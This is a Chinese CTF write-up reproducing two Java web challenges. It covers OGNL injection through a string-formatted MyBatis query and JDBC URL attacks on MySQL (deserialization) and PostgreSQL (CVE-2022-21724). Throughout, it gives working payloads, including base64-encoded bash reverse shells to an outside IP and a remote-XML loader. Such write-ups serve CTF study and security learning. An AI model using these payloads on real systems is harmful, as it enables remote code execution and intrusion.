11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
public UserSqlProvider() {
}

public String buildGetUsers() {
return (new SQL() {
{
this.SELECT("*");
this.FROM("users");
}
}).toString();
}

public String buildGetUserByUsername(final String username) {
return (new SQL() {
{
this.SELECT("*");
this.FROM("users");
this.WHERE(String.format("username = '%s'", username));
}
}).toString();
}
}

可以看到username直接被拼接进了查询语句 因此这里就存在sql注入 更严谨应该是OGNL表达式注入

直接利用OGNL表达式命令执行反弹shell

1
2
3
${@java.lang.Runtime@getRuntime().exec("bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,-
d}|{bash,-i}")}

无法进行反弹shell 因为传入的内容包含{和}会被递归解释为另一个OGNL表达式的开头与结尾

官方wp是利用OGNL 调用Java 自身的 base64 decode方法

1
2
${@java.lang.Runtime@getRuntime().exec(new
java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzg0TGpFek1DNHpOQzQxTXk4M056YzNJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

java基础知识还是缺少很多 得去狂补

[Week 4] TestConnection(学习)

考点:

  • MySQL / PostgreSQL JDBC URL Attack

解法一

直接看官方WP

JDBC 就是 Java 用于操作数据库的接口, 通过一个统一规范的 JDBC 接口可以实现同一段代码兼容不同类型数据库的访问

JDBC URL 就是用于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value

db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite

db-name 是要使用的数据库名

param 是要传入的参数, 比如 user, password, 指定连接时使用的编码类型等等

当 jdbc url 可控时, 如果目标网站使用了旧版的数据库驱动, 在特定情况下就可以实现 RCE

看看依赖

img

根据mysql版本8.0.11 找到对应的驱动利用 MYSQL JDBC反序列化解析 - 跳跳糖

img

或者用工具生成payloadGitHub - 4ra1n/mysql-fake-server: MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用)

注意这里选用的CC6的链子 这也就是为什么要给依赖让我们知道是commons-collections-3.2.1

img

1
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_bash -i >& /dev/tcp/ip/port 0>&1

这里需要知道

1
jdbc:mysql://ip:port/test

这里的ip port是我们在vps起的恶意MySQL服务 也是用这个工具的cli版本即可

img

除此之外 题目中给的代码是

1
DriverManager.getConnection(url, username, password);

即会单独传入一个 username 参数, 因此 url 中的 username 会被后面的 username 给覆盖

所以我们用工具生成的payload中user部分要改为username

1
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -i >& /dev/tcp/ip/port 0>&1

当然这样还是不行

要将之后的命令执行部分改为适合java的payload

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

1
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

至于drive的由来 问了一下GPT 是默认固定的路径

img

因此最终payload的为:记得要url编码打入

1
2
/testConnection?
driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql://8.130.34.53:3308/testConnection?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4zNC41My83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}&password=123

img

连接我们的恶意mysql服务成功

img

反弹shell成功img

解法二 利用 postgresql 驱动

还是利用那个项目工具

生成payloadimg

此时ip和port应该是postgresql的服务而不是mysql

1
jdbc:postgresql://ip:port/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=xml文件访问地址

然后xml内容参考PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) - 先知社区

用http起一个服务 开放这个xml文件访问

最终payload:

1
/testConnection?driver=jdbc:postgresql://ip:port/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=xml文件访问地址&username=123&password=123

结尾

java还是一窍不通 :( 只能硬着头皮复现了

本文最后更新于 天前,文中所描述的信息可能已发生改变